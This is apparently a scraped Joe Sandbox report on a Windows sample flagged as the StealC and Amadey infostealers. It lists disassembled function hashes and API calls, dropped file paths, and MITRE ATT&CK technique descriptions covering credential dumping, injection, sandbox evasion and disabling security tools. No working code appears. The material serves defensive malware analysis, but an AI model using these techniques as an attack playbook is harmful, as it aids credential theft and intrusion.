Instruction Fuzzy Hash: 8A31E571B1460A8FDB14CF2CD9806BA77E9EB84304F54813AD41AC7651EF31E669C7A2

Function 6C9DB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C980A4D), ref: 6C9DB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C980A4D), ref: 6C9DB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C980A4D), ref: 6C9DB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C980A4D), ref: 6C9DB67F

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 1ae02e5b6075bfd882737c4352b83267c8f565b3b756450508b129e26bffe89f
Instruction ID: 65e63c9bff33695ab28bafec79a174d16df78b0aed50b107d96e46a6680fa990
Opcode Fuzzy Hash: 1ae02e5b6075bfd882737c4352b83267c8f565b3b756450508b129e26bffe89f
Instruction Fuzzy Hash: 3F31E571A006168FDF10CF58C84466AB7B9EF80324F5BC569E81AAB201DB31F915CBA0

Function 6C9AF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9AF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9AF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AF668

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7050f7823871ce16d288e1b4da4dd70b5eaf18425d92ba69167319bd2fbbcfdc
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 99317171A00214AFCB14CF5DCCC0AAF7BBAFF98358B148538FA498BB04D631E9458B90

Function 6C9C26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C26C1
free.MOZGLUE(?), ref: 6C9C26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C26FF
free.MOZGLUE ref: 6C9C270D

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 55ca3516a9c8d0d0e30ed1e4f2c33154dd67ac3f4647b14b5ec88580e72d39d8
Instruction ID: 9eb668e4b1d040bdaf7d68356e4714d21967ed45ae6d3f237f2a3ccd21a399a4
Opcode Fuzzy Hash: 55ca3516a9c8d0d0e30ed1e4f2c33154dd67ac3f4647b14b5ec88580e72d39d8
Instruction Fuzzy Hash: DCF0F9B27016016BEB109A58E8C4E5BB3ADEF5125DB640035EA1AC3B01E732F919C6A3

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBGIEGCFHCFHIDHIJEC

C:\ProgramData\CFIIIJJKJKFHIDGDBAKJEBKEGC

C:\ProgramData\DGDBKFBA

C:\ProgramData\DGDBKFBAKFBFHIECFBFI

C:\ProgramData\EBAKKFHJDBKKEBFHDAAE

C:\ProgramData\IDHIDBAE

C:\ProgramData\KJEHDHIEGIIIDHIDHDHJJKJKJJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre